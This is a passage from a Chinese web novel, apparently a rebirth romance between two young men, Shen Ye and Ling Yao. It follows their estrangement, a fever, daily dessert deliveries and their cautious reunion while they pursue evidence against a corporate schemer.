沈野猛地挥开他的手,嘴角勾起一抹极尽嘲讽的弧度,终究是没有再说出难听的话。 他闭了闭眼,再睁开时,眼底只剩下的一片冰冷的荒芜。 “凌曜,”他后退一步,拉开了两人之间最后的距离,声音疲惫而沙哑, “我们都需要冷静一下。” 说完,他不再看那个僵立在原地的身影,决绝地转身,离开了这个角落—— 回国后的沈野,复刻了上辈子最忙碌的那段时间,把自己完全钉死在了公司。 他们的进度因为之前的困难已经有了滞后,白天,他得亲自盯着项目组,整个技术部见了他就跟老鼠见了猫似的,大气不敢喘。 晚上,别人都下班了,他也得追查那次精准打击的幕后黑手。 他需要用这种高强度的忙碌,来填满所有时间。 这么连轴转了小半个月,他瘦了些,下颌线条更加锋利,眼神也愈发沉静,静得让人看不透情绪。 只有偶尔开会走神,或者深夜独自对着一堆数据时,他会无意识地用指腹反复摩挲右手腕上那块铂金表。 表盘在灯光下泛着冷硬的光泽,这是凌曜强行给他戴上的情侣款。 当时还得意洋洋地说这叫“拴住了”。 沈野忘了还,不止一次想取下来。 可不知为何,最后都停止了卸下的动作。 这天下午,沈野正拧着眉看一份漏洞百出的测试报告,办公室门被人“哐当”一声推开了。 江乐君穿着一身骚包的休闲装,美滋滋晃了进来:“野哥!赶紧的,别忙了,城西新开了家马场,听说来了几匹好马,孙潇桡让我特意来找你,咱们一起去撒撒欢儿!” 他一屁股坐在沈野办公桌对面,翘起二郎腿,这才看清沈野的样子,吓得墨镜都滑到了鼻梁上:“我靠!野哥你什么情况?这才几天没见,怎么熬成这德性了?” 沈野敲键盘的手指几不可查地顿了一下,没抬头,声音冷淡:“你们去吧。” 江乐君撇撇嘴,“不去就不去吧,我跟孙潇桡自己去。” 目光投到沈野身上,江乐君还是有点担心,问:“要不要我打个电话给太子,让他赶紧飞回来管管你?你再这么熬下去,我怕你人先没了。” 沈野抬头了: “不用找他。” 他顿了顿,合上文件夹,抬眼看向江乐君,眼神淡漠。 “我跟他,掰了。” “掰……掰了?!” 江乐君眼睛瞬间瞪得溜圆,声音拔高,引得秘书在门外都敲了敲门,还以为里面发生什么事了。 他赶紧压低声音,一脸难以置信,“不是……前几天不还好好的吗?怎么就掰了?凌曜那小子干什么了?他欺负你了?!” 沈野垂下眼眸,遮住眼底一闪而过的复杂情绪。 真正的原因——重生、猜忌、那些无法言说的前世纠葛——是他无法宣之于口的。 再抬眼时,他脸上没什么表情,只扯了扯嘴角,露出一丝略带嘲讽的、意味不明的笑,语气随意得像在讨论天气: “没什么。就是发现,有些事勉强不来。” 他看向江乐君,轻描淡写地抛出一句: “比如,撞号了。” “撞号?!” 江乐君彻底石化在原地,张着嘴,半天没合上。 这个理由过于生猛和私密,直接把他所有后续的八卦和劝和词都堵死在了喉咙里。 他看看沈野那张完全不像在开玩笑的脸,脑子一时有点转不过弯来。 这……这信息量也太大了! 凌曜那小子看起来……不像啊?! 难道野哥才是……? 江乐君凌乱了。 沈野没再理会他丰富的内心戏,重新拿起一份文件,下了逐客令:“没事就出去吧,我还有个会。” 江乐君晕乎乎地被“请”出了办公室,脑子里还在疯狂消化这个惊天大瓜。 而门内,沈野在门关上的瞬间,挺直的脊背立即松弛了一瞬。 他抬手用力按了按刺痛的太阳穴,眼底深处掠过一丝难以言喻的疲惫和痛楚。 用这样一个蹩脚的理由搪塞过去,连他自己都觉得可笑。 可真正的伤口,血淋淋的,又如何能示人呢?—— 沈野回国后,那种拒人于千里之外的冰冷,隔着太平洋都能感受到。 信息石沉大海,电话永远忙音。 凌曜在A国急得觉都睡不好,恨死了异国恋。 原本需要半个月才能收尾的紧要事务,被他用近乎疯狂的速度和手腕,硬生生压缩到了四天。 第四天深夜,他连行李都没顾上仔细收拾,只拎了个随身背包,就让家里的私人飞机送他回国。 风尘仆仆地落地时,天刚蒙蒙亮。 他眼底布满血丝,下巴上冒出了青色的胡茬,整个人都透着一股透支后的疲惫和焦躁。 他甚至没先回家,直接让车开到了沈野公司楼下。 时间太早,大楼还静悄悄的。 他站在清冷的晨风里,看着那扇熟悉的旋转玻璃门,心里乱成一团。 他还没想好怎么解释,但他必须立刻见到沈野。 可是,明明他就在沈野公司楼下,可沈野偏偏不肯见他。 一连好几日。 第三天晚上,凌曜彻底没辙了。 他心里憋闷得厉害,一个人跑到常去的酒吧喝闷酒。 几杯烈酒下肚,酒精烧得他眼眶发红,心里那股委屈和慌乱再也压不住。 “怎么回事?跟沈野闹这么大?” 肖展颜给他倒了杯水。 凌曜趴在桌上,声音闷闷的,带着醉意和哽咽:“他不理我……他不要我了……表哥,我怎么办啊……” 肖展颜看着他这副可怜样,心里五味杂陈。 他想起了江乐君之前神神秘秘地把他拉到一边,挤眉弄眼地说“野哥跟太子好像是因为……嗯……那方面不太和谐,撞号了,你懂吧?” 当时他还觉得江乐君在胡说八道。可现在看凌曜这要死要活的样子,不由得信了几分。 他犹豫再三,斟词酌句地开口,语气委婉得像在哄小孩:“曜曜啊,听哥一句劝,有些事儿……它真不能硬来。尤其是两个人相处,讲究个你情我愿,对吧?” 凌曜猛地抬起头,醉眼朦胧地瞪着肖展颜,倔劲儿“噌”地就上来了,带着哭腔嚷嚷:“凭什么不能硬来?!我偏要!我就要他!除了沈野我谁都不要!” 肖展颜被他这驴唇不对马嘴的反应噎得够呛,心想这孩子是不是醉傻了,怎么连好赖话都听不出来了? 他只好把话又挑明了一点,用手比划着:“不是,曜曜,我的意思是……就像……就像跳舞,总得有个领舞的,有个跟舞的,对吧?” “可能沈野他习惯了自己领舞?如果你非要领,他就不习惯了,跳不了了,明白吗。” 凌曜脑子被酒精糊住,茫然地看着肖展颜在空中乱比划的手,愣了好几秒,思维艰难地转了个弯,突然福至心灵,恍然大悟般瞪大了眼睛:“跳舞?领舞?跟舞?” “你……你以为是因为……因为谁上谁下的事儿?!” 他瞬间气得脸色一阵红一阵白,猛地一拍桌子站起来,震得酒杯都晃了晃,酒都醒了大半:“放屁!谁跟你说是因为这个的?!根本不是这回事!” 肖展颜被他这过激的反应吓了一跳,下意识地缩了缩脖子,小声嘟囔:“不是吗?可乐君说……说你们撞号了啊……” “江乐君那个大嘴巴!”凌曜气得差点背过气去,恨不得现在就冲出去把江乐君揪出来揍一顿。 他看着肖展颜那一脸“我懂我都懂”的表情,简直百口莫辩,这种离谱的误会让他浑身难受,像有蚂蚁在爬。 难道沈野对外就用这种离谱的理由打发人?! 这让他怎么解释?难道要说“不是谁上谁下的问题,是因为我可能是重生的所以他生气了”? 这更离谱! 他憋了半天,胸口剧烈起伏,最后几乎是咬着牙,从牙缝里挤出一句:他憋了半天,胸口剧烈起伏,最后几乎是咬着后槽牙,从牙缝里挤出一句:“……那种事……又不是不能商量!可以谈的!” 说完,他再也待不下去,抄起外套,黑着脸,脚步虚浮地冲出了酒吧。 留下肖展颜在原地,目瞪口呆,心想:这都能商量? 第57章 凌曜不再去公司楼下做无谓的等待。 他改变了策略, 开始守在沈野公寓的地下停车场出口。 他知道沈野一直没请司机,而且最近加班晚,有深夜独自开车回家的习惯。 一连几晚, 他都靠在自己的车边,在昏暗的灯光下,看着沈野的车灯由远及近,然后毫无停顿地驶入车库闸门, 留给他一片尾气和冰冷的寂静。 直到第五天晚上,或许是连日的疲惫和焦虑让沈野的反应慢了半拍, 也或许是凌曜终于抓住了稍纵即逝的机会—— 在沈野下车走向电梯厅的瞬间,凌曜从阴影里冲了出来, 一把抓住了他的手腕。 “沈野!”他的声音因为急切和紧张而有些沙哑, “我们谈谈!就五分钟!” 沈野猛地被拉住,身体一僵。 他转过头, 路灯的光线勾勒出他的侧脸轮廓,眼神里是冰封般的距离感。 他用力甩开凌曜的手, 道:“凌曜, 我以为我说的够清楚了。别再来烦我。” “烦你?” 凌曜被他眼里的厌恶刺痛, 连日来的委屈、恐慌和不解瞬间冲垮了理智,骄纵的脾气一下子炸了。 “我他妈放下A国所有事跑回来, 像个傻子一样天天守着你, 就换来你一句‘烦’?沈野你到底什么意思?!我做错了什么你要这样对我?!” 沈野看着他激动得眼圈发红的样子, 心里那股怒火也窜了上来。 他逼近一步, 几乎是咬着牙反问:“你做错了什么?凌曜, 你扪心自问,你这次回来,真的只是那么简单吗?你上辈子害我一次还不够, 你告诉我,你到底想干什么?!” 他盯着凌曜,试图从那双漂亮的眼睛里,找到一丝破绽,“你葫芦里到底卖的什么药?把我耍得团团转,很有趣吗?!” “药?我卖什么药?!” 凌曜气得浑身发抖,思维完全被情绪主导,根本抓不住沈野话里真正的试探和深意。 他只觉得沈野在无理取闹,污蔑他的一片真心,“我千方百计想帮你!我动用所有关系替你解决麻烦!你就是这么想我的?!沈野你混蛋!” 沈野冷笑一声。 他最后深深地看了凌曜一眼,那眼神冰冷彻骨,仿佛在看一个陌生人。 “你的帮助,我承受不起。” 说完,他不再给凌曜任何机会,转身快步走向电梯,“嘀”的一声刷开权限,走了进去。 电梯门在凌曜冲过来之前,毫不留情地合上,将他彻底隔绝在外。 凌曜徒劳地拍打着冰冷的金属门,巨大的无力感和愤怒过后,是更深的茫然和恐慌。 电梯上升的数字跳动。 他去过沈野的家,知道在几楼,几号。 此时却没了追上去的勇气。 他靠着墙壁滑坐在地上,夜里的凉意透过薄薄的衣服渗进来。 刚才激烈的争吵在脑海里回放,沈野那句“葫芦里卖的什么药”和冰冷失望的眼神反复闪现。 直到这时,沸腾的情绪才稍微降温,理智慢慢回笼。 凌曜猛地意识到——自己刚才完全被情绪牵着鼻子走了! 他就像个被踩了尾巴的猫,只知道炸毛吼叫,根本没有给出任何有效的解释,反而把局面搞得更僵。 “操!” 他低骂一声,懊恼地一拳砸在身旁的墙壁上—— 自打那次在停车场不欢而散,凌曜就像人间蒸发了一样,再也没在沈野公司楼下出现过。 沈野的世界似乎终于清静了。 他照常上班、开会、批文件,把全部精力都投进了工作里,带着团队收拾之前的烂摊子。 表面上看,一切井井有条,他甚至比以往更冷静,更高效。 但只有身边最亲近的秘书能感觉到,沈总周身的气压更低了。 那是一种从骨子里透出来的冷硬,生人勿近。 他动用了所有关系去查那个在背后下黑手。 调查结果出来的那一刻,沈野盯着屏幕上那个熟悉的名字,眉头紧紧锁起,露出了近乎错愕的神情。 伍申优? 怎么会是他? 这个答案完全出乎沈野的意料。 在他的印象里,伍申优明明帮过他爸,甚至是珍贵的雪中送炭。 更让沈野想不通的是,据他所知,伍申优对凌曜……似乎一直不错。 他隐约记得,凌曜小时候,伍叔还经常逗他玩,出差回来总会给他带些新奇玩意儿。 可以说,伍申优是看着凌曜长大的少数几个叔伯之一。 一个对凌家,对凌曜都表现出善意的长辈,为什么会突然调转枪口,用如此狠辣精准的方式,同时针对他和凌云集团? 这完全不合逻辑。 凌曜之前提供的线索像一把钥匙,确实打开了一些口子。 顺着摸下去,几条隐秘的资金流向、几个关键环节上突然施压的人物,蛛丝马迹都隐隐指向了伍申优。 可越查,沈野心里的疑云就越重。 伍申优太狡猾了,手脚干净得很,留下的那点马脚只够沈野确认是他搞的鬼,却抓不到能一把将他按死的铁证。 调查卡住了,像一拳打进了棉花里,使不上劲。 沈野心里憋着一股火,但那个被强行压下来的名字,又浮现出来。 凌曜……他知道是伍申优吗? 就在沈野一门心思对付伍申优的时候,另一头出事了。 凌曜他们家的凌云集团,在国外的一个大项目,突然被当地官方找茬,说环保有问题,项目直接被喊停了。 消息一传开,凌云集团的股价唰唰地往下掉。 紧接着,好几家有影响力的国外媒体开始翻旧账,把凌云集团以前项目里一些鸡毛蒜皮的小问题放大来说,虽然没明着指控,但引导舆论的意味很明显。 这明摆着是有人趁火打劫。 而且时机抓得太准,正好是凌曜因为私事待在国内,心烦意乱发时候。 几座大山压下来,当天晚上,凌曜就发起了高烧,一个人倒在公寓里,烧得迷迷糊糊。 起初只是觉得浑身发冷,头重脚轻。 他以为是累的,吞了颗感冒药就想硬扛过去。 直到半夜,他被喉咙的灼痛和一阵阵寒意惊醒,一量体温,39度8。 意识都有些模糊了,他挣扎着想给自己倒杯水,却连杯子都拿不稳,玻璃杯摔在地板上,发出刺耳的碎裂声。 混乱中,凌曜也不知道怎么的就拨通了肖展颜的电话,声音嘶哑得几乎听不清:“……表哥……我难受……” 肖展颜赶到时,被眼前的景象吓了一跳。 凌曜蜷缩在客厅宽大的沙发上,脸颊烧得通红,嘴唇干裂,额头上全是虚汗,平日里那双神采飞扬的桃花眼紧闭着,长长的睫毛不安地颤抖。 摔碎的玻璃杯碎片散落一地,水渍未干。 “曜曜!”肖展颜心头一紧,快步上前,摸了摸凌曜滚烫的额头,眉头紧紧皱起。 他什么也没问,立刻打了电话叫来私人医生。 医生赶来诊断是重感冒引发的高烧,需要立刻输液。 肖展颜全程沉着脸,帮着医生给凌曜扎上针,调整好点滴速度,又送走医生。 凌曜昏昏沉沉,偶尔睁开眼,看到肖展颜。 在意识模糊的边缘,他仿佛回到了很小的时候。 后半夜,凌曜的体温终于开始缓缓下降,人也睡得安稳了些。 天快亮时,凌曜悠悠转醒。 高烧退去,带来的是浑身肌肉的酸痛和一种深入骨髓的疲惫。 窗外的天光微熹,透过窗帘缝隙,在肖展颜疲惫的侧脸上投下淡淡的光影。 房间里很安静,只有加湿器细微的嗡鸣。 凌曜张了张嘴,喉咙干涩发痛,声音沙哑得厉害:“……表哥。” 肖展颜立刻惊醒,俯身过来,摸了摸他的额头,松了口气:“烧退了。感觉怎么样?喝点水。” 他又倒了杯温水,递到凌曜唇边。 凌曜就着他的手喝了几口,温水滋润了干痛的喉咙,却润不了心里的苦涩。 他靠在床头,垂下眼睫,沉默了很长时间。 久到肖展颜以为他又睡着了,才听到他极轻、极哑的声音响起,带着浓重的鼻音: “表哥……我是不是……又搞砸了?” 他没具体指什么,但肖展颜瞬间就明白了。 指的是沈野,指的是他那一塌糊涂的感情。 也可能还包括眼下凌云集团突如其来的麻烦。 肖展颜什么都没问,只是重新坐下,将水杯放好,目光平静地看着凌曜,语气沉稳而温和:“你只是做了你认为对的事。凡事,问心无愧就好。” 这句话像是一把钥匙,轻轻捅开了凌曜心里那道委屈的闸门。 他的眼眶瞬间就红了,声音带着难以抑制的哽咽和颤抖:“可他不信我……他怎么就不信我呢……” 眼泪毫无征兆地滚落下来,砸在雪白的被子上,洇开一小片湿痕。 生病让他的情绪变得格外脆弱。 肖展颜无声地叹了口气,伸出手,揽住凌曜微微颤抖的肩膀,安抚。 “给他点时间。” “沈野是聪明人,比大多数人都聪明。他只是现在……被一些事情蒙住了眼睛。等他冷静下来,看清楚了,会明白的。” 他顿了顿,语气更加坚定:“在这之前,你想做什么,就去做。” 凌曜的眼泪流得更凶了。 期间,凌云集团海外项目的事情又有了新进展。 肖展颜接到一个电话后,神色凝重地回到客厅,对靠在沙发上面色依旧苍白的凌曜说:“曜曜,查到了点眉目。背后推动这次审查和负面舆论的,有几股力量,其中一股资金的源头,绕了几个弯子,指向了伍申优控股的一家离岸公司。” 凌曜猛地抬起头,眼睛里瞬间闪过一丝锐利的光。 “同时针对沈野和集团,这家伙是想一石二鸟吗?” 他挣扎着想坐直身体,却被肖展颜按住了肩膀:“别急,你现在最重要的是把身体养好。证据还在收集,跑不了他。我已经让人盯紧了,只要他再动,一定能抓住更实在的把柄。” 凌曜深吸一口气,强迫自己冷静下来。他看了看肖展颜,哑声问:“我爸呢?我爸知道了吗?” “他知道的只会比我们更快。”肖展颜言简意赅,“董事会有些声音,不过老爷子压着,让你安心养病,集团的事有他。” 凌曜闭上眼,揉了揉刺痛的太阳穴。 他拿出手机,屏幕上是和沈野的聊天界面,最后一条信息,还是他好多天前发出的,没有任何回复。 他犹豫了很久,手指在屏幕上悬停,最终,只是将肖展颜刚刚告诉他的、关于伍申优可能也针对了凌云集团的消息,简单编辑了一下,发了过去。 没有多余的问候,没有祈求原谅,只是纯粹的信息共享。 信息发出后,石沉大海。 凌曜看着毫无反应的屏幕,嘴角扯出一抹苦涩的弧度。他放下手机,对肖展颜说:“表哥,帮我安排后天的私人飞机吧。” 肖展颜看着他:“回A国?身体撑得住吗?” “嗯。”凌曜点点头,眼神里虽然还有疲惫,却多了一丝被迫成长起来的坚毅,“那边的项目不能一直停着,有些仗总得自己去打。” 肖展颜看着他,最终点了点头:“好,我帮你安排。” 他是个明白人。 联系好之后,肖展颜思前想后,假装不知情,和沈野打去电话。 在最后,用不经意的语气提了一句: “野哥,细节就按你说的办。另外……曜曜前几天发高烧,人都烧迷糊了,现在刚退烧,还在静养。项目的事,可能得稍微缓两天。” 电话那头沉默了几秒,才传来沈野听不出情绪的声音:“嗯。” 挂了电话,沈野坐在宽大的办公椅上,目光落在窗外林立的高楼,久久没有移动。 凌曜生病了? 那个平时张牙舞爪的人,也会病得这么严重? 是因为之前在公司楼下吹了冷风? 还是因为凌云集团那堆烂摊子急火攻心? 或者……两者都有? 沈野的指尖无意识地在光滑的桌面轻轻敲击着。 他试图集中精力处理手头的文件,但脑海里却总是不受控制地闪过一些画面。 凌曜苍白的脸,泛着不正常红晕的脸颊,因缺水而干裂的嘴唇,还有,那晚在停车场,对方抓住他手腕时,掌心异常滚烫的温度。 当时他只顾着挣脱和愤怒,竟没察觉到那温度高得有些不正常。 这个认知让沈野心里莫名地烦躁起来。 他强迫自己把注意力拉回眼前的财报分析上,但效率明显降低了。 下午,首席秘书照例进来汇报行程和几项紧急待批的文件。 不过,他敏锐地察觉到沈总今天似乎有些心不在焉。 “沈总,与德诚资本的会议安排在明天上午十点,您看可以吗?” “嗯。”沈野应了一声,目光却没从一份项目书上移开。 “另外,关于最终报价,需要您今天定夺。” “……”沈野没立刻回答,像是在斟酌什么。 秘书安静地等待指示。 过了一会儿,沈野忽然抬起头,眉头微蹙,像是想到了什么紧要的事,脱口问道:“他咳嗽还厉害吗?” 秘书猛地一愣,完全没反应过来:“……啊?沈总,您是说……?” 沈野也瞬间回过神来,意识到自己问了什么。他脸上闪过一丝极快的尴尬,随即迅速恢复了平时的冷静淡漠,仿佛刚才那句突兀的问话只是秘书的错觉。 “没什么。” 他垂下眼,用指尖点了点桌上的项目书,生硬地转回了话题,“报价按B方案提。告诉德诚,会议提前到九点,我下午另有安排。” “好的,沈总。”秘书压下心中的惊诧,恭敬地应下,快步离开了办公室。 门关上后,沈野向后靠在椅背上,有些疲惫地闭上眼,抬手用力按了按太阳穴。 他居然……会问出这种话。 而且,是在完全无意识的情况下。 手腕上,那块表沉甸甸的,提醒着存在感。 沈野低头,沉吟片刻,最终还是将表取下。 可没想到,在他手腕的皮肤上仍旧留下来一点痕迹。 也许有些东西,并不是他想彻底割裂,就能轻易抹去的。 第58章 下午三点整, 沈野办公室的门被准时敲响。 秘书端着精致甜品盒,小心翼翼地放在茶几上,盒盖上依贴着一张龙飞凤舞字迹的便签。 “沈总, 您的下午茶到了。” 沈野从一份冗长的财报中抬起头,目光掠过那个扎眼的盒子,停顿了一瞬。 连续一周了,雷打不动。 “嗯。”他应了一声, 声音听不出情绪,“分给外面的同事吧。” “好的, 沈总。”秘书松了口气,连忙抱起盒子退了出去。 又有吃的了! 办公室门轻轻合上, 重新归于寂静。 沈野却没有立刻继续工作。 他的指尖无意识地在桌面上轻轻敲击了两下。 凌曜…… 这家伙, 倒是学聪明了。 以前闹别扭,凌曜要么硬碰硬地冷战, 要么就不停在面前晃。 可这次,知道自己怎么也不可能见面, 态度冷硬, 他非但没知难而退, 反而换了种更迂回的方式。 不见面,不纠缠, 就只是用这种细水长流的方法, 天天在他眼前刷存在感。 沈野甚至能想象出凌曜窝在沙发里, 翘着腿, 一边刷着甜品店APP, 一边嘀嘀咕咕“这个太甜他肯定不喜欢,那个看起来不错”的样子。 想到那个画面,他嘴角绷紧了一瞬, 像是想压下一丝莫名的情绪,随即又恢复了平时的样子。 看来,上次的拒绝,力度还不够。 沈野在心里冷然判断。凌曜似乎还没完全明白,他们之间的问题,根本不是几份甜品、几句软话就能揭过去的。 这次的事情背后牵扯太深,凌曜身上的疑点也太多,这种不痛不痒的讨好,根本动摇不了他分毫。 —— 然而,理智是一回事,潜移默化的习惯又是另一回事。 最初几天,沈野对那准时出现的甜品盒视若无睹,直接让秘书原封不动地拿出去分给外面大办公区的员工。 员工们自然是欢呼雀跃,毕竟都是顶尖甜品,平时自己也舍不得买。 头两天,外面还会传来小声的欢呼和讨论: “哇!今天是我最爱的巧克力熔岩蛋糕!” “这家的拿破仑酥皮绝了!” “沈总万岁!” 但连续一周后,外面的声音开始变了。 当秘书再次端着甜品盒出去时,迎接的不再是兴奋,而是此起彼伏的哀嚎: “啊?又来了?” “林秘书,救命……我昨天刚称体重,又重了两斤啊啊啊!” “我也是,甜食虽好,天天吃也顶不住啊……” “这么贵的东西,浪费了又可惜,可我这血糖……我还不吃了吧。” 抱怨声不大,但足以隐约传到里间办公室。 沈野签署文件的手顿了顿,笔尖在纸上停留了片刻,才继续写下名字。 这天下午,当秘书照例进来送咖啡时,沈野正看着屏幕,目光却似乎没有聚焦。 他下意识地松了松袖口,在秘书放下咖啡准备转身时,忽然开口,声音听起来和平时一样平淡: “今天……送的是什么?” 秘书脚步一顿,惊讶地转过身。沈总可是从来不过问这种小事的! 他连忙回答:“是城西云顶的芒果糯米糍,沈总。” “嗯。”沈野应了一声,视线重新回到屏幕上,仿佛真的只是随口一问。 秘书压下心里的诧异,轻手轻脚地退了出去。 沈野默默站起身,走到门口。 果然,过了一会,他就听见小声的议论: “天,芒果糯米糍!我的最爱!可是我真的吃不下了!” “谁不是呢,幸福的负担啊……” “这么好吃的东西,浪费了真作孽。” 听着门外的议论,沈野沉默了几秒,拿起内线电话,接通后淡淡道:“以后的甜品,直接打包好,交给我朋友孙潇桡那边处理。” 于是这天,孙潇桡揉着明显圆润了一小圈的肚子,瘫在江乐君办公室的沙发上哀嚎:“兄弟,真不行了!再这么吃下去,我那八块腹肌真要融化了!” 江乐君白他一眼,“你哪来的八块腹肌,压根没有好吧。” 孙潇桡假装听不见,继续嘟囔:“你说这俩祖宗闹别扭,折腾我们这些中间人算怎么回事啊?” 江乐君慢悠悠地品着茶,闻言挑眉一笑,眼神里透着点看穿一切的玩味:“你懂什么?你以为凌曜那小子真指望着沈野吃啊?” 孙潇桡一愣:“那不然呢?天天送,图啥?” “图个存在感呗。” 江乐君放下茶杯,语气带着点意味深长,“你想想,凌曜什么人?从来都是别人捧着他,什么时候看他哄别人。这次呢?天天雷打不动,变着花样送,沈野不理他,他照送不误。这劲儿头……” 他顿了顿,看着孙潇桡,一字一句地说:“我看太子这次,是玩真的。跟你我以前见过的那些小打小闹,不一样。” 孙潇桡眨巴眨巴眼,消化了一下这话里的信息量,可还是叹了口气。 “可……为什么偏偏是沈野啊?我们几个都是一块儿长大的,还都是男人,有啥好喜欢的?” 江乐君本来下意识就想点头附和“就是”,可话到嘴边,却突然卡住了。 他想起前几个月才处理完的那桩麻烦事,在同一个男团谈恋爱,最后退圈的那两位哥。 江乐君到嘴边的话转了个弯,变成了一声意味复杂的轻笑。 他眼神有些飘远,语气也淡了下来: “桡子,这话你可说错了。” “感情这事儿……跟是不是一块长大、是男是女,关系还真不大。” 他想起那对相依为命,一起在孤儿院长大的情侣,又看看眼前这摊子事,心里有点不是滋味。 “至于为什么是沈野……谁知道呢?也许就因为野哥让人有征服欲,才让人特别想凑上去,看看能不能把他捂热了?或者,就像你说的,从小一起长大,那份熟悉感本身就割舍不掉?” 他拍了拍孙潇桡的肩膀,总结道:“总之啊,这种事没道理可讲。凌曜认准了,那就是认准了。我们可能看着觉得累得慌,人家说不定……甘之如饴呢。” 孙潇桡张了张嘴,最后还是没说出什么,只能化悲愤为食欲,狠狠地咬了一口手里的糯米糍。 —— 连日来的下午茶,在某天突然停了。 沈野没说什么,但秘书在下午三点准时走进办公室,手里空无一物时,敏锐地感觉到老板翻看文件的手指似乎顿了一下。空气里有种难以言喻的寂静。 秘书思考了一下,把沈野的反应归为不适应。 没过多久,一份加密文件被发送到了沈野的私人邮箱。 发件人匿名,标题只有简练的两个字:【漏洞】。 沈野点开附件。 里面是几份清晰的通讯记录和资金流向图。 证据直指伍申优的一个致命把柄。他暗中操控了一家空壳公司,并利用这家公司向境外转移了大量,本属于凌云国际的研发资金。 更关键的是,凌曜不知用什么方法,竟然拿到了伍申优与空壳公司负责人的加密通讯记录。 沈野顿时精神一振。 他现在,可以随时向监管部门和凌云国际公开这段通讯记录。 证据显示伍申优不仅侵吞资产,还意图嫁祸于人。 一旦公开,伍申优面临的将不仅是身败名裂,更是严重的法律制裁。 他将彻底失去在凌云的一切地位、声誉,甚至面临牢狱之灾。他在业内将永无立足之地。 伍申优是凌云集团的元老,树大根深,平时动他一根手指都难。但有了这个引爆器,沈野就能在他最志得意满的时候,给他致命一击,让他永无翻身之日。 他看着屏幕,久久没有说话。 他比谁都清楚,凌曜抛出这份证据,意味着什么。 这不是私下帮个小忙,而是在凌云集团内部,公开和伍申优,这个与他父亲凌董事长关系密切、地位举足轻重的元老彻底撕破脸。 这等于是在向他父亲,向整个凌云现有的权力结构,公然唱反调。 此刻,一股更强烈的疑惑,夹杂着一丝连他自己都不愿承认的、细微的担忧,开始不受控制地滋生。 凌曜……你到底想干什么? 就在这时,办公室的门被轻轻敲响。 秘书端着一杯黑咖啡和一小碟精致的芒果慕斯走了进来。 他也不确定沈野是否期待甜品的到来,今天送来的时间比平时晚,现在已经晚了四十分钟了。 “沈总,您的咖啡。还有,这是多出来的甜点,您要尝尝吗?”秘书习惯性地问道,准备像往常一样,得到“拿走”的答复。 沈野的目光从电脑屏幕上移开,有些恍惚地落在那碟慕斯上,沉默了几秒。 就在秘书以为他会像往常一样拒绝时,却听到一声极低的: “放着吧。” 秘书微微一怔,依言放下,轻手轻脚地退了出去,心里有些诧异。 一个多小时后,等秘书再次进来送文件时,惊讶地发现,那碟芒果慕斯已经不见了,只剩下一个空荡荡的精致骨瓷碟。 而沈总依然坐在电脑前,眉头微蹙,盯着屏幕,侧脸清冷。 秘书悄悄退了出去,心里暗自称奇。 沈总今天,居然把甜点吃了? —— 办公室里,沈野向后靠在椅背上,闭上眼,揉了揉眉心。 证据足够致命,但还缺最后一环。 一份能从伍申优核心团队内部流出,能印证这些资金往来的凭证或记录。 这需要里应外合。 而能做到这件事,且他目前唯一能……或者说,唯一敢赌一把的人,只有凌曜。 他犹豫了片刻,指尖在桌面上敲了敲,最终拿起内线电话,接通了秘书。 “秘书,”他的声音听不出情绪,“联系凌曜。以公司的名义,约他明天下午三点,来我办公室一趟。就说……有重要工作,需要当面洽谈。” 他顿了顿,目光扫过窗外有些灰蒙蒙的天空,补充道:“安排在小会议室。另外,把中央空调提前调高两度,今天天气有点凉。” 第二天下午,差两分钟三点,沈野已经在会议室主位坐定。 他指尖压着一份文件,目光却悬在纸面上方,一个字也没看进去。 空调暖风开得足,但他搭在桌沿的手指关节,却微微有些发僵。 门被轻敲了两下,然后推开。 秘书侧身让开:“沈总,凌先生到了。” 沈野一抬头,心脏像是被什么东西不轻不重地攥了一下,呼吸有瞬间的凝滞。 凌曜就站在门口的光影里。 瘦了,而且瘦了很多。 以前脸上那点略显稚气的婴儿肥荡然无存,下颌线变得清晰甚至有些锋利,脸色是一种缺乏血色的苍白,被一身剪裁考究的黑色长大衣裹着,更显得身形单薄。 不过,看起来也比曾经更沉稳了。 更接近于沈野印象中,上辈子二十多岁的凌曜。 两人的目光在空中猝然相撞。 时间仿佛被拉长,凝固。 凌曜明显也愣了一下,睫毛颤了颤,先挪开了视线,嘴角扯出个客套又有点僵的笑:“沈总。” 声音有点哑,没以前那么清亮了。 沈野喉咙发紧,像被什么堵住,面上却波澜不惊,只抬了抬手,指向对面的座位,声音刻意压得平稳:“来了?坐。” 凌曜没多说,脱了大衣挂好,坐下,双手规矩地放在桌上,指节微微绷着。 秘书赶紧送上两杯热水,飞快地溜了,还把门带得严严实实。 屋里就剩他俩。 两人都不看对方,一个看文件,一个看窗外,气氛尬得能抠出三室一厅。 最后还是沈野先开的口,他推过去一份材料,语气公事公办:“找你来,主要是因为你发来的漏洞。” 凌曜“嗯”了一声,伸手拿过材料,低头翻看起来。 他看得很快,眼神一下子专注起来,刚才那点不自在好像暂时被抛到了脑后。 话匣子一打开,俩人不知不觉就进入了那种熟悉的作战模式。 你一句我一句,语速越来越快,刚才那点尴尬好像真被暂时忘掉了。 讨论到关键处,凌曜语速急促地分析着一个协议,说到一半,嗓子突然发干,忍不住偏过头低低咳嗽了两声,眉头微微皱起。 沈野正听到关键处,几乎是想都没想,下意识就把自己手边那杯没动过的温水,很自然地推到了桌子对面。 凌曜咳完,感觉喉咙干得冒烟,视线里多出一杯水。 他想也没想,极其顺手地接过来,仰头就喝了一大口。 温水润过干涩的喉咙,舒服了不少。 动作流畅得仿佛排练过无数遍。 直到水咽下去,凌曜握着杯子的手才猛地一僵,指节瞬间绷紧了。 他愣愣地看着手里这个印着沈野专属logo的杯子,脑子嗡的一声。 沈野递出水的手还悬在半空,指尖细微地蜷缩了一下,这才反应过来自己刚才干了什么。 他心里暗骂一句,迅速把手收了回来。 空气一下子凝固了。 两人视线尴尬地撞上,又像被烫到一样,飞快地同时躲开。 一个猛地低头看材料,一个扭头继续看窗外,假装刚才那下意识的关心和接受从未发生过。 就在这时,门被轻轻敲响,秘书端着两杯刚煮好的咖啡进来。 “沈总,凌先生,咖啡……” 他话没说完,视线一扫,脚步就顿住了。 老板坐得笔直,侧脸线条绷得死紧,盯着文件像要把它看穿。 凌家那位小少爷则低着头,耳垂红得滴血,手里还紧紧攥着…… 嗯? 那不是沈总平时用的那个杯子吗? 秘书到底是见过风浪的,脸上职业笑容纹丝不动,语气自然地把话说完:“……刚煮好的,趁热。” 他目不斜视地把咖啡放在两人面前,仿佛什么都没看见,转身就走,还贴心地带上了门。 门一关,屋里的空气更窒息了。 那个杯子像个烫手的山芋,摆在两人中间。 俩人再次对视,猛地一下撞上来,让人有点发懵。 